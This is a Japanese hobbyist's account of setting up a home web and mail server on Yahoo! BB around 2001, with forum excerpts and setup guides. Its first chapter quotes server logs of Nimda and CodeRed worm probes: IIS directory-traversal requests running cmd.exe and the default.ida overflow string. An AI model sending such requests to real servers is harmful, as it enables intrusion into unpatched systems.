YAHOO!BBにおける自宅鯖構築への道のり フレーム付き トップページへ戻る
かねてから作ろうと思っていた、自宅鯖構築の顛末記であります。
各設定の解説についてはほとんど他サイトへのリンクになっておりますが、自宅鯖導入の参考になればと思います。
ツッコミ、指摘、助言、質問等、お待ちしておりますので掲示板にでも書き込んでくださいませ。
第1章・YAHOO!BBで鯖公開は可能か?
1.アクセスするのは誰だ!
2.アクセスできない?
3.悪魔のささやき!
4.実験開始
5.プロジェクト始動(専用掲示板設置)
6.YBBからの・・・
第2章・鯖構築
1.天使のささやき?
2.自宅鯖計画(予定)
3.セットアップ・全般(OS・IE)
4.セットアップ・ZoneAlarm編
5.セットアップ・BlackJumboDog編
6.セットアップ・TinyFTPDaemon編
7.DDNSを使おう
8.セットアップ・Dice編
9.ICS・ネットワークの設定
10.補足
第3章・鯖拡張
1.自宅鯖に掲示板を(CGI・Perl)
2.掲示板の設置
3.メル鯖の構築
4.BJDの設定
5.Radishのセットアップ
6.クライアントの設定(Outlook Express)
7.メル鯖構築の注意点
8.カウンタの設置(CGI)
番外編1・擬似メールサーバー
1.メールサーバーは面倒
2.概要
3.メール転送サービス
4.メール受信テスト(Outlook Express)
5.メール取り込み(BlackJumboDog)
6.メール受信(Outlook Express)
7.メール送信(Radish3)
8.補足
つづく・・・のか?
1.アクセスするのは誰だ!
始まりはここからでした。
【いどばた掲示板@SEAWorks Network!より抜粋(以下省略)】
[441] ううむ・・・ 投稿者:かめぞ〜 投稿日:2001/11/05(Mon) 昨日くらいから、YAHOO!BB内部からの80ポートへのアクセスがチョコチョコと・・・ #ZoneAlarmのログに残ってる。 しかも、特定のIPアドレスから。 連続アクセスではないから、Nimdaではなさそうだし・・・ IPチェックして、HPでも探してるのかな? ・・・にしてはなんか不自然。 何なんでしょう? モデムの電源切っとこうかな? #IPアドレス、どれくらいで変わるんだろ? それとも、BJD入れようかな? |
BJDいれて様子を見ました。 ( ̄□ ̄;)!! Nimdaじゃん!! ZoneAlarmでは複数回アクセスがあっても、1回分のログしか残らないんですね。 BJDのログでは、きっちり16回表示しました。 |
2001/11/12(02:49:50) W-SV ***.***.***.*** [80] 404 242 "GET /scripts/root.exe?/c+dir HTTP/1.0" 2001/11/12(02:49:55) W-SV ***.***.***.*** [80] 404 240 "GET /MSADC/root.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:01) W-SV ***.***.***.*** [80] 404 250 "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:06) W-SV ***.***.***.*** [80] 404 250 "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:11) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..%5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:11) W-SV ***.***.***.*** [80] 500 267 "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:16) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:16) W-SV ***.***.***.*** [80] 500 284 "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:21) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:21) W-SV ***.***.***.*** [80] 500 284 "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:27) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:27) W-SV ***.***.***.*** [80] 500 300 "GET /msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:32) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..チ../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:32) W-SV ***.***.***.*** [80] 500 266 "GET /scripts/..チ../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:37) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..タ/../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:37) W-SV ***.***.***.*** [80] 500 266 "GET /scripts/..タ/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:42) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..タッ../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:42) W-SV ***.***.***.*** [80] 500 266 "GET /scripts/..タッ../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:47) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..チ・./winnt/system32/cmd.exe" ]" 2001/11/12(02:50:47) W-SV ***.***.***.*** [80] 500 266 "GET /scripts/..チ・./winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:52) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..s5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:52) W-SV ***.***.***.*** [80] 500 267 "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:50:58) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..s5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:50:58) W-SV ***.***.***.*** [80] 500 267 "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:51:06) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..%5c../winnt/system32/cmd.exe" ]" 2001/11/12(02:51:06) W-SV ***.***.***.*** [80] 500 267 "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 2001/11/12(02:51:11) W-SV ***.***.***.*** [80] E200035 " .. が含まれるリクエストは許可されていません。[ ***.***.***.*** "/scripts/..%2f../winnt/system32/cmd.exe" ]" 2001/11/12(02:51:11) W-SV ***.***.***.*** [80] 500 267 "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" |
2001/11/11(16:57:43) W-SV ***.***.***.*** [80] 404 237 "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNY090V858\bd3W801Y090V858\bd3W801Y090V858\bd3W801Y090 Y090X190P0c3P003Xb00U31bU3ffP078P000P0=a HTTP/1.0" |
2.アクセスできない?
それまで、BJDは散々使っておりましたが、Webサーバー機能はほとんど使ったことはありません。
それは、σ(^_^)がHTMLに関して全くのドシロウトであり、敬遠していたという理由がありました。
また、これといったホームページ作成ツールも持っておらず、今一つ踏み切ることがなかったのです。
今回、アクセスログを取るにあたり、ダミーページを作成する必要がありました。
ただ、HTMLなんて知らないσ(^_^)は、とりあえずWordでダミーページを作成いたしました。
それがコレ。素人目に見てもこのソースは見れたもんじゃないです。
それはともかく、これでσ(^_^)のPCから全世界にこのページを発信できるわけです。
Re: ううむ・・・ 投稿者:やまだ - 2001/11/05(Mon) かめぞ〜さ〜ん...開かないよぉ〜 |
Re: ううむ・・・ 投稿者:SEAWorks - 2001/11/05(Mon) Y!BBが、あまり騒ぎ立てるとポート80閉じられちゃいますよ。(^^; しばらくの間は、自宅サーバーを構築している人が悲しい思いを することになりますね。 |
Re: ううむ・・・ 投稿者:やまだ - 2001/11/05(Mon) >ちょっと88ポートにしてみました。 88は開いたよ! 80は閉じられてますね(^_^;) |
****と申します。 先日は接続不具合に関して、丁寧な返信メールをいただきまして、ありがとうございます。 今のところ、速度も元に戻っているようですし、トラブルもないようなので、 このまま使用したいと思います。 今回メールしたのは、80ポートを使用不可にしているようなので、その詳細を確認したいためです。 サーバー運用としての使用は考慮していないとは言っても、知らない間に ポートが閉じられているというのはどうも釈然としません。 こちらで想像する理由といえば、 1.最近はやりのワーム対策。 2.サーバー公開の際は、別料金がかかるような準備がある。 くらいです。 1に関しては、もうすでにYBB内部で感染しているサーバーがある模様です。 こちらでつかんでいるだけでも、 ***.***.**.** ***.***.***.** ***.***.***.** ***.***.***.** のアドレスにつながっているマシンが感染している模様です。 これらの利用者に、感染の告知を行ってください。 2に関しては、今のところはっきりとした告知をHPで見つけることが できませんでした。 80ポートを閉じていることについて、何らかの告知を希望いたします。 以上、お忙しいとは思いますが、対応の程よろしくお願い致します。 |
Re: ううむ・・・ 投稿者:ぺっぱ〜 - 2001/11/05(Mon) つながりません。 PING も通りません。 しかし、ドメイン作ってしまいました。 Host: kamezoh.servemp3.com IP: ***.***.***.*** ServeMP3どっとこむ。 怪しくていいなぁ。(笑) みんなであそびましょー http://kamezoh.servemp3.com ← ポート80 http://kamezoh.servemp3.com:88 ← ポート88 Re: ううむ・・・ 投稿者:ぺっぱ〜 - 2001/11/05(Mon) えぇ? 今日だけなのぉ〜〜 せっかくドメインも作ったのに。(笑) Re: ううむ・・・ 投稿者:ぺっぱ〜 - 2001/11/06(Tue) さて、今日の サーバアドレスは?(笑) アドレスがわかれば、すぐにドメイン更新しますよ。 にやそ。 |
4.実験開始
んで、実態を調べたいと思いまして、実験を試みました。
[445] テスト 投稿者:かめぞ〜 投稿日:2001/11/07(Wed) またちょっとした試験をやってみたいと思います。 http://kamezoh.servemp3.com/ http://kamezoh.servemp3.com:88/ #ぺっぱ〜さん、まだ使ってます。m(_ _)m 80ポートと88ポートの両方で同じものを公開しています。 多分80ポートの方はアクセスできないと思いますが、確認お願い致します。 もし、80ポートでアクセスできたよ〜という方がいらっしゃいましたら、書き込みお願いします。m(_ _)m これまた本日いっぱいですので、ご了承ください。 #更新はないと思ふ。(^^ゞ |
5.プロジェクト始動(専用掲示板設置)
更に悪魔のささやきが続きます(笑)。
[450] Y!BB サーバ設置プロジェクト 投稿者:ぺっぱ〜 投稿日:2001/11/09(Fri) 旧スレが長くなったので 新スレに移行。 かめぞ〜氏 自宅サーバ設置プロジェクト http://kamezoh.servemp3.com/ http://kamezoh.servemp3.com:88/ FTPサーバも立ててね。よろしく。 >かめぞ〜さん ftp://guest@kamezoh.servmp3.com/ passwd "guest" Re: Y!BB サーバ設置プロジェクト 投稿者:SEAWorks - 2001/11/09(Fri) でたぁ〜!ぺっぱ〜さんの悪魔のささやき・・・ |
Re: Y!BB サーバ設置プロジェクト 投稿者:やまだ - 2001/11/09(Fri) Y!BB サーバ設置プロジェクト http://www.hori-co.jp/~kamezou/ Re: Y!BB サーバ設置プロジェクト 投稿者:ぺっぱ〜 - 2001/11/09(Fri) やった〜 独立掲示板! |
6.YBBからの・・・
そんなこんなで、実験を引き続き継続していると、YBBから以前のメールの返事がきました。
こんにちは、Yahoo! BBテクニカルサポートセンターです。 Yahoo! BBをご利用いただきましてありがとうございます。 ご連絡がおそくなり申し訳ありません。 Yahoo! BBではほとんどのポートに制限をかけておりません。 しかし、CodeRedワームによる被害を回避する為、80番ポートには、現在制限をかけております。 また今後、CodeRedの変種もしくは他の新種コンピュータウィルスによる被害が発生する恐れもございますため、 現時点では80番ポート開放の予定はございません。 Yahoo! BB内でのWebサーバ構築をお考えの場合、8080番ポート等他のポートをWebサーバアクセス用に 割り当ててご利用ください。 これからもYahoo! BBをよろしくお願いします。 《さくさく》〜(送信メールの転記) ================================ Yahoo! BB Technical Support Center ybb-tech@mail.yahoo.co.jp http://bb.yahoo.co.jp/ ================================ |
1.天使のささやき?
第1章では、HP公開と言ってもWordとExcelで作ったお粗末なページでした。
まあ、それはそれでいいのですが、コレをそのまま公式に公開というのもなんだかなーといった感じでしょうか?
なにより、更新するのが結構大変なのと、サイズがべらぼうに大きくなります。
やはりちゃんとしたデザインが必要だと思います。
そこへ出てきたこの一言。
Re: ううむ・・・ 投稿者:SEAWorks - 2001/11/05(Mon) 21:49:51 《さくさく》 > とりあえず88ポート 確認できました。裏かめわぁ〜くす。でも作ってね。(^^; |
2.自宅鯖計画(予定)
自宅鯖を構築するにあたり、幾つかの条件があります。
【自宅鯖構築に際しての注意】 サーバーの構築というものは、想像以上に危険が伴うものです。昨今のワーム、ウイルス、悪意ある攻撃。 こういうものは、ある程度専用のソフトウェアを使ったりすれば、防御できるでしょう。 防御できなくても、そのサーバーが感染したり、攻撃を受けるだけで他に迷惑が掛からないのであれば何をやっても結構です。 いや、何もやらなくても結構です。 しかし、サーバーを公開する以上、他に迷惑が掛かるようなことだけは気をつけなければいけません。 よく見かけるNimda、CodeRed、これらのワームはサーバーに感染した上で、そのサーバーを発信源として他のサーバーを攻撃します。 これの原因は、それらのサーバーの管理者が、すでに以前から公表されているMicrosoftのセキュリティパッチを 当てていないことに起因しています。 逆にすべてのサーバー管理者が、このセキュリティパッチを当てていたならば、これらのワームが蔓延する事は無かったはずです。 つまり、サーバーの管理者は常にセキュリティの事に関して耳を傾け、適切な処置を取る必要があるのです。 これらのことを肝に銘じた上で、責任を持ってサーバーを構築するようにして下さい。 尚、セキュリティの内容に関して理解する必要はないと思います。というか、理解できないことの方が多いでしょう。 少なくとも、 開発元の情報だけは常に把握するようにしましょう。 あと、構築していきながら理解することも多いでしょうが、ネットワークに関しての基礎知識だけは身に付けておきましょう。 その上で、各ソフトウェアの設定の意味を理解することが、必要になってくると思います。この部分は、自己防衛の為になります。 尚、お決まりの文句ではありますが、 当サイトの情報を参考にすることに関してかめぞ〜は責任を負うことはありません。 各自の自己責任において参考にして下さい。 質問はおっけぇよ。 |
3.セットアップ・全般(OS・IE)
OS(Windows)のセットアップは、各種OSによって変わってくるので、割愛させていただきます。
まあ、これを読んでいるような方なら、改めて説明する必要もないでしょう。
IEに関しては、不必要なものではありますが、予備機としての使用も考えておりますので、
セキュリティなどのことを考え、最新版にしておくのがよろしいかと思います。
上記セットアップについて最低限Windows Updateを行い、重要な更新は必ずチェックしておきましょう。
個別のパッチなどについては、ここなどを
参考にしておくとよいでしょう。
鯖を公開するにあたり、今まで以上にセキュリティに関しては注意する必要があります。
個別のパッチには、意味のわからないものもたくさんあると思います。
特に問題がなければ、すべてのパッチを適用してください。
パッチの適用は、古い順に行うといった原則がありますので、守りましょう。
尚、IEなどは使用することもあるでしょうが、メディアプレイヤーなどは容量を食うだけなので、
不必要と思われるプログラムは入れないようにしましょう。
重要な更新の通知といったプログラムもあるようですが、サーバーでは画面を使わないので意味が無いです。
ファイル共有は使用すると思いますが、外部向けのアダプタの設定でバインドは外しておきましょう。
Windows9x系の場合は、各アダプタの設定画面で、共有のバインドを外してください。
WindowsNT系の場合は、NetBIOSを使用しないように設定してください。
できればファイル共有は、NetBEUIにしてしまうのもいいかもしれません。
このNetBEUIは、Macアドレス(※)によってNIC同士が直接通信するプロトコルだそうで、ルーターを越えることができません。
つまり、LAN内でしか使用できないわけです。
丁度いいですね。
但し、YBBのようにLANとかわりないネットワークに接続する場合は、ルーターを介在しないので通ってしまうかもしれません。(憶測)
4.セットアップ・ZoneAlarm編
今回、この鯖はWebサーバーとルーターを兼ねて使用されることになります。
ファイヤーウォールとしての効果も期待できますが、このPC自身も保護しておいたほうがいいと思いますので、
パーソナルファイヤーウォールのZoneAlarmを入れることにします。
このソフトは、個人使用であればフリーで使用できます。
海外のソフトではありますが、日本語パッチも出ておりますので、英語がわからなくても大丈夫だと思います。
詳しい解説サイトはこちら
5.セットアップ・BlackJumboDog編
BJDのセットアップを行います。
今回BJDで使用するのは、HPの公開が主目的ですので、Webサーバー、リモート制御の機能となります。
プロキシサーバー、メールサーバーは特に使用しません。
場合によってはプロキシのトンネル機能を使用することもあります。
Webサーバーを複数ポートで公開する場合は、この機能を使用します。
BJDのセットアップ手順
6.セットアップ・TinyFTPDaemon編
HPを公開する場合、自宅にいるときはWindowsのファイルの共有が使用できるので問題ないのですが、
外部から更新したいこともあるはずです。
この時、外部からHPを更新する為には、FTPサーバーが必要となります。
BJDにFTPサーバー機能は装備されていないので、別途FTPサーバーを用意する必要があります。
今回使用したのは、TinyFTPDaemonです。Windows95を対象としていますが、Windows2000でも動作するようです。
但し、起動時に通信不良を起こして起動失敗したりするのですが、原因がよくわかっていません。
また、所々動作に不安な面もあるようですが、個人使用であれば、許容範囲ではないかと思います。
詳しい解説サイトはこちら
7.DDNSを使おう
以上でHPの公開ができる環境は整いましたが、HPを見るためにはその鯖のIPアドレスを指定する必要があります。
これでは今一つ格好が悪いですね。
そこで登場するのがドメインとなります。
独自ドメインを取るのもいいのですが、ここはお手軽にDDNS(ダイナミックドメインネームサービス)を使用することにします。
このDDNSは、そのDDNSに登録されているドメインに、自分の好きな単語を組み合わせて独自ドメインのように使用できるものです。
また、IPアドレスを動的に登録できるので、IPアドレスが変わる環境でも各種サーバーが構築できます。
今回、σ(^_^)が使用したのは、ぺっぱ〜さんより教えていただいた、No-IPです。
他のDDNSもいろいろありますので、気に入ったサービスを使用するのがよろしいのではないでしょうか?
日本語でのサービスもあるようですが、試していないのでよくわかりません。
また、サービス内容がまだ充実していないところもあるようです。
その点、No-IPはよさげな感じです。
詳しい解説サイトはこちら
DDNS(No-IP)のサイトはこちら
8.セットアップ・Dice編
DDNSは、動的にIPアドレスを登録できるといいましたが、YBBはIPアドレスの固定を保証しておりません。
実際、何らかのネットワークの不具合でIPアドレスが変化してしまうことは十分考えられます。
そこで、もしIPアドレスが変更されても自動で更新してくれるソフト、Diceを使用することにします。
詳しい解説サイトはこちら
9.ICS・ネットワークの設定
以上で、鯖としての機能は一通り網羅できたと思います。
あとは、ルーター機能です。
ルーターといいますか、インターネットへの接続の共有にはBJDを使用することも出来ます。
但し、BJDはあくまでプロキシサーバーです。
HPの閲覧程度なら問題ないのですが、いろいろな制限があることも事実です。
また、BJDは現状においてスループットが少々悪いようです。
そこで、今回はICS(インターネット接続の共有)を使用してみることにします。
ICSはWindows98SE、WindowsMe、Windows2000、WindowsXPに標準装備されております。(NTにもあったっけ?)
9X系のICSと、2000のICSでは、設定方法が全く違います。
今回は、2000を使用しておりますので、2000での設定になります。
尚、Windows95&98、NTは、ICSを装備しておりません。
似たようなソフトもあったと思いますが、現状ではBJDを使用するのがお手軽でいいでしょう。
詳しい解説サイトはこちら
10.補足
以上で、基本的にσ(^_^)の自宅鯖の構築の基本ができたと思います。
え?よくわからないって?
はい。この説明でわからない方は、現時点においてサーバーを立てるべきではないと思います。
わからないけど、サーバーは立ててみたいと言う方は、もう一度お勉強しましょう。
質問は随時受け付けております。わかる範囲でね。
クライアントの設定は、現時点で省略。(手抜き)
1.自宅鯖に掲示板を(CGI・Perl)
ひとまず、自宅鯖でWebページの発信はできる環境はそろったと思います(ホントか?)。
しかし、せっかくの自分のサイトなので、掲示板が欲しくなるでしょう。
幸い、インターネット上には、無料で簡単に設置できるレンタル掲示板がたくさんあります。
レンタル掲示板を登録して、そこへのリンクを貼ればすぐ掲示板を設置することが出来ます。
でも、せっかくの自宅鯖、どうせなら自分のサーバーに掲示板を設置してしまいましょう。
掲示板を設置するためには、CGIというものを使います。
BJDでもCGIに対応していますが、そのままでCGIを動作させることはできません。
そこで、CGIを動作させる為にActive Perlというものを設定する必要があります。
詳しい解説サイトはこちら
2.掲示板の設置
Active Perlをインストールできたら、掲示板を設置しましょう。
掲示板用のCGIはインターネット上にたくさん配布されております。
KENT WEB σ(^_^)はここの掲示板を使ってます。
The Room Flash掲示板というのがすごいかも。
CGIを探すためのサイトというものもあります。
CGIスクリプト検索エンジン!CGIZOO
にほんごCGIインデックス
他にも、検索エンジンで探せば、いろいろなCGI掲示板を見つけることが出来ます。
自分の好みの掲示板を探しましょう。
尚、設置方法については、それぞれのCGIによって多少違いがあります。
それぞれのCGIサイトもしくは付属のドキュメントなどをよく読みましょう。
CGIを使用する場合は、BJD(Webサーバー)にて「CGIを利用する」にチェックを入れておきましょう。
これをチェックしておかないと、CGIが動作せず、CGIのソースがそのままダウンロードされてしまうのでご注意を。
CGIによっては、ソースの中にパスワードを設定している場合がありますので、パスワードがばれちゃいますよ。
尚、CGIにはソースの先頭にPerlのパスを指定するようになっていますが、BJDではperlという単語しかチェックしていません。
この為、ほとんどのCGIはこの部分を修正することなく動作します。(パス指定は無視されます)
3.メル鯖の構築
WebサーバーでHPも発信でき、CGIで掲示板も設置できました。
次に自宅鯖でできることといえば、メル鯖(メールサーバー)。
BJDには、メールサーバーの機能があります。
しかし、あくまでこのメールサーバーはLAN内で使用することを前提としています。
インターネットへ公開するようには出来ていないのです。
しかしながら、受信に限ればBJDでもそのままメールサーバーを構築できるのです。
また、送信部分を既存のSMTPサーバーを使うことによって対応できます。
プロバイダなどのSMTPサーバーが使用できればそれを使用します。
使用できない場合は、Radishというソフトを使いましょう。
尚、本来メールサーバーを構築する場合は、DNSにMXレコードというものを登録する必要があるのですが、今回は省略します。
ではここで、メールサーバーの仕組みについて簡単に説明しておきます。
よく間違えられるのが、メールサーバーにはSMTPサーバーとPOP3サーバーがありますが、SMTPは送信用、POP3は受信用だと思っている方が多いのではないでしょうか?
これは間違いです。
メールサーバーにおいて、送信も受信もSMTPサーバーが行ないます。
POP3サーバーと言うのは、SMTPサーバーによってメールボックスに格納されたメールを取り出す為のものです。
メールの流れを簡単に示してみましょう。
4.BJDの設定
先にも説明しましたが、BJDのメールサーバーはLAN用となっております。
しかしながら、受信に関しては特に問題なく動作致します。
送信ができないのは、メールアドレスより送信先サーバーを特定する、「名前解決」の機能を持たないからであります。
この為、別途送信専用のSMTPサーバーを使用することにより、BJDでも公開用のメールサーバーを構築出来ると言うわけです。
プロバイダのSMTPサーバーがそのまま使用出来るのであれば、それを使用することをお勧めします。
しかし、プロバイダによってはPOP before SMTPや、正規のメールアドレス以外での送信を制限しているところもあり、使用できない場合もあります。
その場合は、後述するRadishなどの送信専用のSMTPサーバーを使用することになります。
詳しい解説サイトはこちら
5.Radishのセットアップ
2002年6月24日現在、すでにRadish3のベータバージョンが発表されておりますが、まだ不安定要素が残っている為ここではVer.2.2.8を使用した設定を説明致します。
「4.BJDの設定」で紹介したサイトでは、プロバイダのSMTPサーバーを使用する場合と、Radishを使用する場合の設定が解説されております。
プロバイダのSMTPサーバーが使用出来る場合は、この項は読み飛ばして結構です。
Radishを使用する場合は、Radishのセットアップが必要になります。
Radish Ver.2.2.8のセットアップ手順
6.クライアントの設定(Outlook Express)
ここでは、OEについてアカウントの基本的な設定内容についてのみ解説します。
尚、基本的な設定内容というのは、「ツール−アカウント−メール−プロパティ」で確認できる以下の項目になります。
OEにおけるアカウントの基本的な設定内容
7.メル鯖構築の注意点
メールサーバーの運用にあたっては、いくつかの注意点があります。
8.カウンタの設置(CGI)
カウンタについては、基本的に掲示板の設置と変わるところはありません。
掲示板を設置できていれば、そのまま設置することができるでしょう。
しかしσ(^_^)は、素直に動作しませんでした。
選んだCGIにもよるでしょうが、掲示板が単体のCGIで動作するのに比べ、組み合わせが出てくるカウンタは少々設定が難解だと思います。
CGIの配布サイトや付属のドキュメントをよく読んで設定しましょう。
簡単なカウンタなら、設定も簡単。
配布サイト等は、2.掲示板の設置の項を参照願います。
1.メールサーバーは面倒
自宅サーバーを構築することにより、メールの運用にも自由度が増し、様々なことができるようになりました。
アカウントも自由に設定できますので、好きなメールアドレスを作ることも出来ます。
#もちろん、ドメインには制限がありますが・・・。
ここで、メールサーバーを構築するメリットを改めて見直してみましょう。
2.概要
擬似メールサーバーと言っても、ピンと来ない方もいらっしゃるでしょう。
ここで、簡単に説明してみます。
メモのご用意はよろしいですか?(ぉ
この擬似メールサーバーは、既存のメールボックスを使用します。
既存のメールボックスと言うのは、プロバイダから提供されているメール、
もしくはフリー(有料でもよい)で取得できるメールで使用できるメール格納場所のことです。
簡単に言えば、今もっているメールアカウントを利用すると言うことですね。
しかし、メールアドレスは別途設定できる上、クライアントからはあたかも独自メールサーバーを使っているようにできるのです。
その流れを以下に示します。
外部より独自メールアドレスに送信
↓
メール転送サービスにより既存のメールボックスに転送
↓
BJDでメールを取り込み、各メールアカウントに振り分け
↓
クライアントはBJDよりオリジナルのメールアドレス宛てのメールを受信
LAN用のメールサーバーは、BJDにより実現できるのですが、メールアドレスはLAN内のみに有効なものでした。
振り分けも可能なのですが、コメント部を利用しての擬似振り分けですので、実際の運用では多少制限が出てきます。
しかし、今回の設定では、LAN内もLAN外も同一のメールアドレスで運用することができます。
送信に関しては、プロバイダなりメールサービスによって、そのまま送信できるところもあります。
しかし、σ(^_^)のようにYBBユーザーなどは、プロバイダのSMTPサーバーを利用することが出来ません。
これについては、Radish3を使用することで解決することができます。
今回の擬似メールサーバーを構築するにあたって必要なサービス、ソフトを紹介しましょう。
あくまで、ここで紹介するのは参考である為、各自で使いやすいものを見つけて下さい。
3.メール転送サービス
メール転送サービスとは、あるメールアドレス宛てのメールを、別のメールアドレスに転送してくれるサービスのことです。
そのメールアドレス(メールアカウント)自体ではメールボックスを持たない為、別途メールアドレスを用意する必要があります。
しかし、サブドメインを含めた独自のメールアドレスが設定できる為、プロバイダのメールアドレスを隠すこともできますし、
見た目にオリジナルのメールアドレスを所有できるので、あたかも独自でメールサーバーを用意しているように見せかけることもできます。
また、メールアドレスを変更することも容易になりますので、プロバイダのメールを利用しても、その後の運用が柔軟になります。
改めてメリットをまとめてみましょう。
4.メール受信テスト(Outlook Express)
メール転送サービスに登録したら、一旦テストしてみます。
インターネットに接続できる環境のPCから、新しく登録したメールアドレス宛てにメールを送信しましょう。
今回のテストでは、メールアドレスを3つ用意してみます。
5.メール取り込み(BlackJumboDog)
クライアントで直接メールを受信することはできました。
次は、いよいよ疑似メールサーバーの本体とも言うべき、BJD(BlackJumboDog)の設定に入ります。
このBJDにより、外部のメールボックスにあるメールを自動的に受信し、各メールアドレス毎のローカルメールボックスに振り分けることができます。
また、LANを構築している場合は、各端末にメールアドレスを振り分け、LAN内だけで端末間でのメールの送受信をすることができます。
今回は、BJDの機能のうち、メールサーバー機能を使用します。
ダイアルアップ環境の方は、ダイアルアップサーバー機能も使用します。
すでにBJDのメールサーバー機能を使って運用している方は、現在使っている環境を破棄するか、もう一つBJDをインストールし2重起動を利用して下さい。
それでは、BJDの設定に入りましょう。
すでにBJDを使用されている方は、インストールの部分は読み飛ばしてもらって結構です。
【BJDインストール】
まずは、こちらで最新のバージョンをダウンロードしましょう。
尚、今回の擬似メールサーバーを構築するには、Ver.3.1.1以降のバージョンが必要です。
それ以前のバージョンには、振り分けに関して問題があったため使用できません。
必要なのは「フルセット版」です。
ダイアルアップを全く使用しない方は「RAS不要バージョン差分」を一緒にダウンロードしておいて下さい。
まず、フルセット版を解凍しましょう。
解凍がわからない方はこちらのサイトでお勉強してきてください。
尚、解凍したファイルは、セットアップが終了した時点で消去しても問題ありません。
解凍ファイルの中の「setup.exe」をダブルクリックします。
お決まりの画面です。「次へ(N)」をクリック。
インストール先のディレクトリを指定します。
まあ、デフォルトでいいのでこのまま「次へ(N)」をクリック。
デフォルトが気に入らない方は「参照(R)」をクリックして、インストールディレクトリを選択してください。
ショートカット登録の名前を指定します。
ここもそのまま「次へ(N)」をクリック。
これでセットアップ終了です。
なんて簡単なんでしょ?
「完了」をクリックすれば、元に戻ります。
ダイアルアップを使っていなくても、ダイアルアップの設定がある方は、そのままで結構です。
ダイアルアップ環境が全くない方は「RAS不要バージョン差分」に差し替えておく必要があります。
ダウンロードした「RAS不要バージョン差分」のファイルを解凍し、BlackJumboDog.exeをインストールディレクトリに上書きコピーしてください。
参考リンク(SapporoWorks、BlackJumboDog Q&Aより):
-RAS(RAS不要バージョン)のインストール要領
ダイナミックリンクライブラリが指定されたパスに見つかりません。」のメッセージが出て起動できない
「RASAPI32.DLL」がありませんとエラーが出て起動できない
次に、BJDのメールサーバーの設定を行ないます。
【BJDメールサーバー設定】
自宅鯖構築の「3.メル鯖の構築」では、BJDを公開メールサーバーとして設定しました。
しかし、今回は本来の使用方法であるLAN用のメールサーバー構築になります。
この場合、メールサーバーというよりも、メールクライアントの代わりにメールを受信して溜め込んでおくプログラムとして認識したほうがいいでしょう。
まずは、BJDを起動しましょう。
BJDを起動すると、以下のような画面が出ます。
RAS版の場合、初期状態ではダイアルアップ自動接続が有効になってます。
-RAS版の場合は、この設定は最初から無効になっています。
ダイアルアップを使用する方は、こちらを参考にしてダイアルアップの設定を行なってください。
ダイアルアップを使用しない方は、以下のようにダイアルアップ自動接続を無効にしておいてください。
「設定(O)」をクリックし「ダイアルアップ(D)」を選択します。
「ダイアルアップ自動接続をする」のチェックを外し、「OK」をクリックします。
しばらくお待ちください・・・。
初期状態では、HTTPプロキシが有効になっているようです。
HTTPプロキシを使用する場合はこのままでも結構ですが、今回は使用しないので必要の無い方は以下のように設定を無効にしておきましょう。
「設定(O)」をクリックし「プロキシーサーバ(P)」を選択します。
「プロキシーサーバを使用する」のチェックを外し、「OK」をクリックします。
しばらくお待ちください・・・。
